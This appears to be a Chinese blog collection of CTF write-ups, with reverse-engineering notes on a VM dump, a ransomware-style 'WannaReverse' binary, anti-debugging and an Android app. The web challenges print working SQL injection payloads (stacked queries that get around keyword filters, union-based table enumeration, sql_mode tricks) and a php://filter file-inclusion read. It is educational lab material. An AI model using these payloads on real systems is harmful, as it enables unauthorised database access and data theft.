0xf5, 0xf1, 0xe1, 0x0, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x1, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x0, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x1, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x2, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x1, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x2, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x3, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x3, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x4, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x3, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x4, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x5, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x4, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x5, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x6, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x5, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x6, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x6, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0x9, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x9, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0xa, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xd, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x13, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xd, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x13, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xe, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x12, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xe, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x12, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xf, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x11, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xf, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x11, 0x0, 0x0, 0x0, 0xf4
长度为21
开始python脚本
sub_b5f为关键函数,控制哪几个数据进寄存器
解题脚本
1 | import base64 |
感觉好坑啊
[rev][GKCTF2020]WannaReverse
打开任意一个都会换壁纸
IDA打开WannaReverse.exe,找到主函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29int sub_403220()
{
int v0; // eax
void *v1; // ecx
signed int v2; // esi
char v3; // al
const char *v4; // ecx
char v6[32]; // [esp+8h] [ebp-34h]
char v7; // [esp+28h] [ebp-14h]
char v8[10]; // [esp+2Ch] [ebp-10h]
*(_OWORD *)v6 = 0i64;
*(_OWORD *)&v6[16] = 0i64;
WinExec("clickme.exe", 1u);
strcpy(v8, "0123456789");
v0 = sub_415930(0);
sub_40BAB0(v0);
v2 = 0;
do
v6[v2++] = v8[sub_40BA70(v1) % 10];
while ( v2 < 32 );
v7 = 0;
v3 = sub_402D00((int)v1, (int)v6);
v4 = "encrypto success!";
if ( !v3 )
v4 = "encrypto false!";
puts(v4);
return 0;
}首先运行clickme.exe,然后生成一个32位的随即密钥,传入sub_402D00,所以sub_402D00应该是加密函数
查看加密函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218char __fastcall sub_402D00(int a1, int a2)
{
FILE *FILE_read; // eax
FILE *FILE_read_1; // esi
int len_0; // edi
int len; // edi
char *buf_read; // esi
unsigned int keyLen; // ecx
char *buf_read_1; // edx
char *key; // esi
unsigned int v11; // ecx
bool v12; // cf
unsigned __int8 v13; // al
unsigned __int8 v14; // al
unsigned __int8 v15; // al
int v16; // eax
BigInteger *v17; // eax
BigInteger *v18; // eax
BigInteger *v19; // esi
char *v20; // edx
BigInteger *v21; // esi
char *v22; // eax
int v23; // esi
int v24; // ecx
char v25; // al
char *v26; // ecx
char v27; // al
int FILE_write; // eax
int v29; // edi
int v30; // esi
char *v31; // ecx
int v32; // eax
char v33; // cl
int len_1; // [esp+Ch] [ebp-29Ch]
FILE *FILE_read_2; // [esp+10h] [ebp-298h]
char *buf_read_2; // [esp+14h] [ebp-294h]
char v37; // [esp+18h] [ebp-290h]
const char *arg2; // [esp+1Ch] [ebp-28Ch]
char key_1[256]; // [esp+20h] [ebp-288h]
int v40; // [esp+120h] [ebp-188h]
int v41; // [esp+124h] [ebp-184h]
int v42[7]; // [esp+128h] [ebp-180h]
BigInteger v43; // [esp+144h] [ebp-164h]
BigInteger v44; // [esp+160h] [ebp-148h]
BigInteger v45; // [esp+17Ch] [ebp-12Ch]
char toWriteFileName[256]; // [esp+198h] [ebp-110h]
int v47; // [esp+2A4h] [ebp-4h]
arg2 = (const char *)a2;
v37 = 0;
FILE_read = (FILE *)fopen("flag.txt", "rb");
FILE_read_1 = FILE_read;
FILE_read_2 = FILE_read;
if ( !FILE_read )
{
puts("flag.txt not exist\n");
return 0;
}
fseek((int)FILE_read, 0, 2);
len_0 = ftell((int)FILE_read_1);
len_1 = len_0;
fseek((int)FILE_read_1, 0, 0);
len = 16 * (len_0 / 16 + 1);
buf_read = (char *)malloc_0(len);
buf_read_2 = buf_read;
memset(buf_read, 0, len);
if ( buf_read )
{
fread(buf_read, 1, len_1, FILE_read_2);
keyLen = strlen(aWannareverse);
buf_read_1 = buf_read;
key = aWannareverse;
v12 = keyLen < 4;
v11 = keyLen - 4;
if ( v12 )
{
LABEL_7:
if ( v11 == -4 )
goto LABEL_16;
}
else
{
while ( *(_DWORD *)buf_read_1 == *(_DWORD *)key )
{
buf_read_1 += 4;
key += 4;
v12 = v11 < 4;
v11 -= 4;
if ( v12 )
goto LABEL_7;
}
}
v12 = (unsigned __int8)*buf_read_1 < (unsigned __int8)*key;
if ( *buf_read_1 != *key
|| v11 != -3
&& ((v13 = buf_read_1[1], v12 = v13 < (unsigned __int8)key[1], v13 != key[1])
|| v11 != -2
&& ((v14 = buf_read_1[2], v12 = v14 < (unsigned __int8)key[2], v14 != key[2])
|| v11 != -1 && (v15 = buf_read_1[3], v12 = v15 < (unsigned __int8)key[3], v15 != key[3]))) )
{
v16 = -v12 | 1;
goto LABEL_17;
}
LABEL_16:
v16 = 0;
LABEL_17:
if ( v16 )
{
memset(key_1, 0, 256);
v41 = 16;
v40 = 0;
getKey((int *)key_1); // initKey
v47 = 0;
v44.next = 0;
v44.len = 0;
v44.maxLen = 0;
v17 = (BigInteger *)malloc(8);
v44.next = v17;
v17->next = 0;
*(_DWORD *)v17->data = 0;
v44.next->next = &v44;
v44.len = 0;
v44.maxLen = 15;
v44.data[0] = 0;
v47 = 1;
append(&v44, (int)aWannareverse, 13u); // toDebug
LOBYTE(v47) = 2;
v45.next = 0;
v45.len = 0;
v45.maxLen = 0;
v18 = (BigInteger *)malloc(8);
v45.next = v18;
v18->next = 0;
*(_DWORD *)v18->data = 0;
v45.next->next = &v45;
v45.len = 0;
v45.maxLen = 15;
v45.data[0] = 0;
LOBYTE(v47) = 3;
initBigInteger(&v43, arg2);
LOBYTE(v47) = 4;
v19 = (BigInteger *)rsaEncrypt((int)v42, (int)&v43);
if ( &v45 != v19 )
{
sub_403580((int *)&v45);
LOBYTE(arg2) = 0;
base64((char *)&v45, v19, (int)arg2);
}
sub_403580(v42);
sub_4037D0(v42);
LOBYTE(v47) = 3;
sub_403580((int *)&v43);
sub_4037D0((int *)&v43);
v20 = v45.data;
if ( v45.maxLen >= 0x10u )
v20 = *(char **)v45.data;
v21 = (BigInteger *)sub_4024D0(v20, v42, v45.len);
if ( &v45 != v21 )
{
sub_403580((int *)&v45);
LOBYTE(arg2) = 0;
base64((char *)&v45, v21, (int)arg2);
}
LOBYTE(v47) = 3;
sub_403580(v42);
sub_4037D0(v42);
v22 = v45.data;
if ( v45.maxLen >= 0x10u )
v22 = *(char **)v45.data;
append(&v44, (int)v22, v45.len);
v23 = 0;
for ( *(_OWORD *)&v43.data[8] = 0i64; v23 < len; v23 += 16 )
{
aes((int)&v43.data[8], (unsigned __int8 *)&buf_read_2[v23], (int)key_1);
append(&v44, (int)&v43.data[8], 0x10u);
}
memset(toWriteFileName, 0, 256); // make file name
v24 = 0;
do
{
v25 = aFlagTxt[v24++];
*((_BYTE *)&v45.maxLen + v24 + 3) = v25;
}
while ( v25 );
v26 = (char *)&v45.maxLen + 3;
do
v27 = (v26++)[1];
while ( v27 );
strcpy(v26, ".Encry");
v37 = 0;
FILE_write = fopen(toWriteFileName, "wb");// make file name
v29 = FILE_write;
if ( FILE_write )
{
v30 = v44.len;
v31 = v44.data;
if ( v44.maxLen >= 0x10u )
LOBYTE(v31) = v44.data[0];
v32 = fwrite((char)v31, 1, v44.len, FILE_write);
v33 = 0;
if ( v30 == v32 )
v33 = 1;
v37 = v33;
}
fclose(v29);
sub_403580((int *)&v45);
sub_4037D0((int *)&v45);
sub_403580((int *)&v44);
sub_4037D0((int *)&v44);
}
else
{
sub_415950(buf_read_2);
}
}
fclose(FILE_read_2);
return v37;
}主要做了以下事情:
- 打开文件,判断文件头,如果是WannaReverse就不加密直接退出
- 打开一个buffer,然后放入WannaReverse
- 使用RSA加密上一步生成的密钥然后base64
- 把加密过的密钥放入buffer
- AES加密文件内容,然后放入buffer
- 生成文件名,写入文件
RSA私钥在clickme.exe中可以找到
解密脚本
1 | import base64 |
[rev][V&N2020 公开赛]h01k_re
找到了这篇文章https://www.gironsec.com/blog/2013/12/other-antidebug-tricks/
https://www.sohu.com/a/249321179_354899
CsrGetProcessId is a native API that returns the PID of csrss.exe
这个函数返回csrss.exe的PID
大概是一种反调试技术,程序尝试获取csrss.exe的pid,然后openProcess。由于大多数调制器需要管理越权限,所以如果当前进程成功打开csrss.exe,就可以判断为被调试。
CheckRemoteDebuggerPresent
NtQueryInformationProcess第三个参数,如果有调试器,就会返回-1
好家伙一整个反调试函数,我直接给你nop掉
__rdtsc返回时间辍
经过调试发现程序把自己载入内存,然后查找getflag函数,似乎作了一些变换,但是不去管,我tm直接将对应的区段保存为文件,然后是个可执行文件,IDA打开
v3的信息:
- 0是个计数器
- 14是v7,v7+8是输入长度,v7+20为off input-off v4
- 1是800
- 12是和800有关的数
- 13是off v4
看答案了,确实是虚拟机,可以在输入下硬件断点,发现是一组异或
对于输入下硬件断点,并且输入经过处理后存入的目标内存也下硬件断点,就可以调试出程序的主逻辑
后续分析
以上分析到了vm,进入到vm,首先是个大循环,下面有个函数调用,参数是10006890,调试获得这个地方真实的数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
10610096890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
100968A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
100968B0 01 00 00 00 00 00 00 00 80 97 00 10 00 00 00 00 ................
100968C0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
100968D0 02 00 00 00 00 00 00 00 C0 97 00 10 00 00 00 00 ........À.......
100968E0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
100968F0 03 00 00 00 00 00 00 00 A0 95 00 10 00 00 00 00 ........ .......
10096900 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096910 04 00 00 00 00 00 00 00 F0 95 00 10 00 00 00 00 ........ð.......
10096920 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096930 05 00 00 00 00 00 00 00 30 97 00 10 00 00 00 00 ........0.......
10096940 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096950 06 00 00 00 20 00 9D 00 E0 96 00 10 00 00 00 00 .... ...à.......
10096960 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096970 07 00 00 00 FF FF FF FF 40 96 00 10 00 00 00 00 ....ÿÿÿÿ@.......
10096980 00 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 ................
10096990 08 00 00 00 00 00 00 00 90 96 00 10 00 00 00 00 ................
100969A0 00 00 00 00 00 00 00 00 02 00 00 00 AC 06 02 77 ............¬..w
100969B0 09 00 00 00 00 00 00 00 80 75 00 10 00 00 00 00 .........u......
100969C0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
100969D0 0A 00 00 00 00 00 00 00 D0 75 00 10 00 00 00 00 ........Ðu......
100969E0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
100969F0 0B 00 00 00 70 F7 36 00 20 A0 00 10 00 00 00 00 ....p÷6. ......
10096A00 00 00 00 00 00 00 00 00 02 00 00 00 34 B2 00 10 ............4²..
10096A10 0C 00 00 00 A0 07 00 00 70 A0 00 10 00 00 00 00 .... ...p ......
10096A20 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096A30 0D 00 00 00 00 00 00 00 30 98 00 10 00 00 00 00 ........0.......
10096A40 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096A50 0E 00 00 00 00 E0 FD 7E 80 98 00 10 00 00 00 00 .....àý~........
10096A60 00 00 00 00 00 00 00 00 02 00 00 00 18 00 00 00 ................
10096A70 0F 00 00 00 66 34 03 77 10 80 00 10 00 00 00 00 ....f4.w........
10096A80 00 00 00 00 00 00 00 00 02 00 00 00 48 B5 79 00 ............Hµy.
10096A90 10 00 00 00 00 00 79 00 70 80 00 10 00 00 00 00 ......y.p.......
10096AA0 00 00 00 00 00 00 00 00 02 00 00 00 0C 2A 08 01 .............*..
10096AB0 11 00 00 00 FF FF FF FF 40 99 00 10 00 00 00 00 ....ÿÿÿÿ@.......
10096AC0 00 00 00 00 00 00 00 00 02 00 00 00 4C 17 00 00 ............L...
10096AD0 12 00 00 00 99 5A 00 00 90 99 00 10 00 00 00 00 .....Z..........
10096AE0 00 00 00 00 00 00 00 00 02 00 00 00 33 00 00 00 ............3...
10096AF0 13 00 00 00 00 00 00 00 20 AB 00 10 00 00 00 00 ........ «......
10096B00 00 00 00 00 00 00 00 00 02 00 00 00 C0 00 00 00 ............À...
10096B10 14 00 00 00 B9 AC 08 77 70 AB 00 10 00 00 00 00 ....¹¬.wp«......
10096B20 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096B30 15 00 00 00 02 1E 7A 00 70 76 00 10 00 00 00 00 ......z.pv......
10096B40 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096B50 16 00 00 00 A0 07 00 00 C0 76 00 10 00 00 00 00 .... ...Àv......
10096B60 00 00 00 00 00 00 00 00 02 00 00 00 D7 EE 02 77 ............×î.w
10096B70 17 00 00 00 00 00 79 01 00 99 00 10 00 00 00 00 ......y.........
10096B80 00 00 00 00 00 00 00 00 01 00 00 00 FE FF FF FF ............þÿÿÿ
10096B90 18 00 00 00 06 14 0D 77 E0 9D 00 10 00 00 00 00 .......wà.......
10096BA0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
10096BB0 19 00 00 00 04 00 00 00 30 9E 00 10 00 00 00 00 ........0.......
10096BC0 00 00 00 00 00 00 00 00 02 00 00 00 22 14 0D 77 ............"..w
10096BD0 1A 00 00 00 00 00 00 00 90 9E 00 10 00 00 00 00 ................
10096BE0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 79 00 ..............y.
10096BF0 1B 00 00 00 20 00 00 00 E0 9E 00 10 00 00 00 00 .... ...à.......
10096C00 00 00 00 00 00 00 00 00 02 00 00 00 3D 30 03 77 ............=0.w
10096C10 1C 00 00 00 A4 F5 36 00 C0 7E 00 10 00 00 00 00 ....¤õ6.À~......
10096C20 00 00 00 00 00 00 00 00 02 00 00 00 B0 1D 7A 00 ............°.z.
10096C30 1D 00 00 00 CD 4D 07 77 80 9A 00 10 00 00 00 00 ....ÍM.w........
10096C40 00 00 00 00 00 00 00 00 01 00 00 00 00 10 50 00 ..............P.
10096C50 1E 00 00 00 03 00 0A 00 C0 9A 00 10 00 00 00 00 ........À.......
10096C60 00 00 00 00 00 00 00 00 01 00 00 00 00 00 79 00 ..............y.
10096C70 1F 00 00 00 00 00 79 00 E0 99 00 10 00 00 00 00 ......y.à.......
10096C80 00 00 00 00 00 00 00 00 01 00 00 00 E8 1F 7A 00 ............è.z.
10096C90 20 00 00 00 A8 F4 36 00 F0 7A 00 10 00 00 00 00 ...¨ô6.ðz......
10096CA0 00 00 00 00 00 00 00 00 01 00 00 00 2C 1B 0D 77 ............,..w
10096CB0 21 00 00 00 2C 1B 0D 77 50 7B 00 10 00 00 00 00 !...,..wP{......
10096CC0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 79 00 ..............y.
10096CD0 22 00 00 00 00 00 50 00 B0 7B 00 10 00 00 00 00 ".....P.°{......
10096CE0 00 00 00 00 00 00 00 00 01 00 00 00 E0 1F 7A 00 ............à.z.
10096CF0 23 00 00 00 E0 1F 7A 00 10 7C 00 10 00 00 00 00 #...à.z..|......
10096D00 00 00 00 00 00 00 00 00 01 00 00 00 48 1B 0D 77 ............H..w
10096D10 24 00 00 00 AC 49 06 77 70 9D 00 10 00 00 00 00 $...¬I.wp.......
10096D20 00 00 00 00 00 00 00 00 00 00 00 00 66 34 03 77 ............f4.w
10096D30 25 00 00 00 54 F4 36 00 F0 92 00 10 00 00 00 00 %...Tô6.ð.......
10096D40 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
10096D50 26 00 00 00 B0 1D 7A 00 20 93 00 10 00 00 00 00 &...°.z. .......
10096D60 00 00 00 00 00 00 00 00 01 00 00 00 7F 00 00 00 ................
10096D70 27 00 00 00 A6 06 00 00 90 7D 00 10 00 00 00 00 '...¦....}......
10096D80 00 00 00 00 00 00 00 00 02 00 00 00 F8 03 00 00 ............ø...
10096D90 28 00 00 00 50 01 79 00 20 7E 00 10 00 00 00 00 (...P.y. ~......
10096DA0 00 00 00 00 00 00 00 00 02 00 00 00 E2 1F 7A 00 ............â.z.
10096DB0 29 00 00 00 00 00 00 00 70 92 00 10 00 00 00 00 ).......p.......
10096DC0 00 00 00 00 00 00 00 00 01 00 00 00 8C F4 36 00 .............ô6.
10096DD0 2A 00 00 00 94 AA 08 77 B0 92 00 10 00 00 00 00 *....ª.w°.......
10096DE0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 79 00 ..............y.
10096DF0 2B 00 00 00 B0 1D 7A 00 60 93 00 10 00 00 00 00 +...°.z.`.......
10096E00 00 00 00 00 00 00 00 00 01 00 00 00 74 F4 36 00 ............tô6.
10096E10 2C 00 00 00 36 A4 08 77 A0 93 00 10 00 00 00 00 ,...6¤.w .......
10096E20 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
10096E30 2D 00 00 00 00 02 04 06 30 90 00 10 00 00 00 00 -.......0.......
10096E40 00 00 00 00 00 00 00 00 01 00 00 00 30 09 00 00 ............0...
10096E50 2E 00 00 00 00 00 00 00 70 90 00 10 00 00 00 00 ........p.......
10096E60 00 00 00 00 00 00 00 00 01 00 00 00 F0 0F 00 00 ............ð...
10096E70 2F 00 00 00 ED 33 03 77 C0 90 00 10 00 00 00 00 /...í3.wÀ.......
10096E80 00 00 00 00 00 00 00 00 01 00 00 00 70 10 3C 76 ............p.<v
10096E90 30 00 00 00 00 00 79 00 00 91 00 10 00 00 00 00 0.....y.........
10096EA0 00 00 00 00 00 00 00 00 01 00 00 00 7F 00 00 00 ................
10096EB0 31 00 00 00 30 09 00 00 50 91 00 10 00 00 00 00 1...0...P.......
10096EC0 00 00 00 00 00 00 00 00 01 00 00 00 D8 00 00 00 ............Ø...
10096ED0 32 00 00 00 F0 0F 00 00 90 91 00 10 00 00 00 00 2...ð...........
10096EE0 00 00 00 00 00 00 00 00 01 00 00 00 55 A5 08 77 ............U¥.w
10096EF0 33 00 00 00 88 F2 36 00 E0 91 00 10 00 00 00 00 3....ò6.à.......
10096F00 00 00 00 00 00 00 00 00 01 00 00 00 CA DA 07 77 ............ÊÚ.w
10096F10 34 00 00 00 00 00 00 00 20 92 00 10 00 00 00 00 4....... .......
10096F20 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................可以看到,前面是一个数字,后面是一系列的地址
vm函数地址为10005960,IDA中的地址为10006560,可以得到基址-c00
继续调试发现,后面调用的函数就是对应位置的函数
调试发现1007f15c不做任何事直接返回
使用脚本处理上面dump出的数据,得到地址。另外opcode和vm_eip都可以分析出
1 | import base64 |
具体功能需要详细分析vm的结构
解题脚本
1 | import base64 |
V&N{W&M_Easy_Re}
[rev][FlareOn6]FlareBear
FlarebeerActivity
clean看到danceWithFlag可以获取flag,需要的条件为isHappy&&isEcstatic,继续分析条件
getState使用PreferenceManager.getDefaultSharedPreferences获取配置,并且下面有setState
isHappy: getStat(‘f’)/getStat(‘p’)>2.0&&<2.5
来自于getPreference(‘activity’,’’)isEcstatic: getState(‘mass’,0)==72&&getState(‘happy’,0)==30&&getState(‘clean’,0)==0
来自于getPreference(argString,argInt)decrypt函数:pawsitive_vibes!是初始向量,key是NaClNaClNaCl,key填充方式是PBKDF2WithHmacSHA1
getPassword:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72String str1;
int i = getStat('f');
int j = getStat('p');
int k = getStat('c');
String str2 = "*";
switch (i % 9) {
default:
str1 = "";
break;
case 8:
str1 = "*";
break;
case 7:
str1 = "&";
break;
case 6:
str1 = "@";
break;
case 5:
str1 = "#";
break;
case 4:
str1 = "!";
break;
case 3:
str1 = "+";
break;
case 2:
str1 = "$";
break;
case 1:
str1 = "-";
break;
case 0:
str1 = "_";
break;
}
switch (k % 7) {
default:
str2 = "";
break;
case 6:
str2 = "@";
break;
case 4:
str2 = "&";
break;
case 3:
str2 = "#";
break;
case 2:
str2 = "+";
break;
case 1:
str2 = "_";
break;
case 0:
str2 = "$";
break;
case 5:
break;
}
String str3 = StringsKt.repeat("flare", i / k);
String str4 = StringsKt.repeat(rotN("bear", i * j), j * 2);
String str5 = StringsKt.repeat("yeah", k);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(str3);
stringBuilder.append(str1);
stringBuilder.append(str4);
stringBuilder.append(str2);
stringBuilder.append(str5);
return stringBuilder.toString();i/j>2.0<2.5,j=1,i=2,j=2,i=4,j=4,i=8,j=2,i=5
flare重复i/k次+str1+解密资源
1 | import java.io.FileInputStream; |
最后得到两张图片,分别是带flag图像的两帧
[web][强网杯 2019]随便注
今天时间不太够,先做一道web充数,改天补上
SQL注入问题,首先尝试是否存在注入
1 | 1' and 1=1 # |
第二行没有输出,说明存在注入
尝试获取列数
1 | 1' order by 1 # |
最后一个报错,说明只有两列
尝试获取数据库名
1 | 1' union select 1,database() # |
发现有过滤
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
尝试报错注入
1 | 用户名 |
extractvalue(),updatexml()都是报错注入常用函数
名称 | 描述 |
---|---|
extractvalue() | 使用XPath表示法从xml字符串中提取值 |
updatexml | 返回替换的xml片段 |
使用堆叠注入绕过过滤,堆叠注入即一次执行多个命令
1 | -1'; show tables # |
多个命令使用分号隔开,这里第一个语句成功的话会增加很多输出,所以可以让前一个语句失败
查看表的字段
1 | -1';desc `1919810931114514` # |
表名加反引号
sql中desc用于查看表的详细信息
desc也是asc的反义词,排列时候有用
接下来要读取字段内的数据,应该执行的语句如下
1 | select * from `1919810931114514`; |
由于select过滤,所以需要采用预编译机制
1 | set用于设置变量名和值 |
payload
1 | -1';set @sql=concat('se','lect*from `1919810931114514`;');prepare stmt from @sql;execute stmt; # |
set @sql设置了名为sql的变量值为后面的语句拼合,然后prepare预备语句,执行语句
结果又是过滤
1 | strstr($inject, "set") && strstr($inject, "prepare") |
但是不区分大小写,转化为大写
1 | -1';SET @sql=concat('se','lect*from `1919810931114514`;');PREPARE stmt from @sql;execute stmt; # |
得到flag
还可以修改表名和列名从而得到flag
1 | 修改表名 |
payload
1 | -1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# |
然后1’ or 1=1#
= =这种方法有风险,万一不能一气呵成就挂了
每次启动靶机flag不同= =
源码分析
1 | <html> |
大佬说这里执行多条sql语句会导致安全问题
这里应该就是堆叠注入的源头了
参考资料
[1] https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
[2] 2019强网杯”随便注”学习 - saucerman的文章 - 知乎
https://zhuanlan.zhihu.com/p/78989602
[rev][2019红帽杯]calc
- IDA打开,C++,看到输入函数,但是下面太乱,推测有自定义的结构体
- 在cin那里下断点,读入的结构体很奇怪,进入读入结构体的函数,发现了真正的cin函数,其参数应该是一个st::string结构,长度小于16采用栈存储,大于16采用堆存储,这不重要
- 下面就可以分析出自定义的结构体
1 | struct InputStru{ |
- 专用函数分析
- 140001700 moveInputStru arg2->arg1
- 1400017E0 subAbsInputStru 两数相减的绝对值
- 140001A90 相乘,a1=a2*a3
- 140003CE0 mallocMultiLen 乘法时分配空间用的
- 140001FF0 看起来像乘方调试出来也是乘方 a1=a2**a3
- 140001550 相加 a1=a2+a3
- 看答案是三个数的立方和等于42
- 最终的表达式分为两部分
$$
a=(x+y)^3-3x^2y-3xy^2\
b=(z+4)^3-48z-12z^2\
最后判断a==b
$$
[rev][GKCTF2020]DbgIsFun
调试后发现真正的比较函数,是rc4解密,但是解密之后发现不对
盲猜开头是flag,所以测试前4个字符和flag串的关系,发现是-128然后异或73,得到flag
1 |
|
看答案发现动调和非动调情况下比对数据完全不同,应该是哪里做了手jio
就在上面,我瞎了
[rev]Crackme6
- 先检查pediy2016
- 长度为0x14
- 写反汇编jio本
- 先是一些常量计算
- 接下来三个 水仙花数
- 接下来是一个二元一次方程,解得1223
1 | import hashlib |
[rev][FlareOn1]Javascrap
看html看了大半天,原来猫腻在图片中
二进制打开图片,最后有一段php代码,然后无限base64套娃就解出来了
[rev][MRCTF2020]VirtualTree
被骗了555
1 |
|
[web][SUCTF 2019]EasySQL
注入时发现三种情况
- 单纯输入数字:输出固定值
- 加个引号导致语法错误:无输出
- 尝试注入1’ and 1=1 #:输出NoNoNo
说明后端存在对于关键字的检测
可以直接使用fuzz字典+burpsuite测试后端过滤了哪些关键字。注意burp的线程不要太高,否则无法访问
公开代码可以看到关键查询语句为
1 | select $post['query']||flag from Flag |
要尝试让||不是逻辑或
1 | set sql_mode=PIPES_AS_CONCAT; |
这个模式下||就是管道模式,把前后查询的拼接在一起,而不是或运算符
payload为
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
还有个解*,1,相当于select *,1
[rev][极客大挑战 2019]Secret File
- 通过抓包抓到了secr3t.php
- 尝试了直接访问flag.php和文件包含flag.php都不行
- 原来不论文件包含还是直接访问,得到的都是flag.php执行之后的结果
- 通过php://filter获取文件结果
file=php://filter/convert.base64-encode/resource=flag.php - base64解码获得flag
这里是php的文件包含漏洞
1 | <html> |
1 | <!DOCTYPE html> |
[web][极客大挑战 2019]LoveSQL
手工注入步骤
确认存在注入点
1’ or 1=1 #
1’ and 1=0 #
字段数
1’ union select 1,2,3 #
数据库名
1’ union select 1,2,database() #
表名
1’ union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database() #
这里有两张表geekuser l0ve1ysq1
列名
1’ union select 1,group_concat(column_name),2 from information_schema.columns where table_name=geekuser#
然后就可以找到flag
[web][护网杯 2018]easy_tornado
访问hints.txt发现获取flag的方式,但是获取不到secret_cookie
- 访问welcome.txt, 有个render,暗示使用python的render
- 可以报错注入,error?msg=
- 得到secret_cookie之后得到flag
[web][GXYCTF2019]Ping Ping Ping
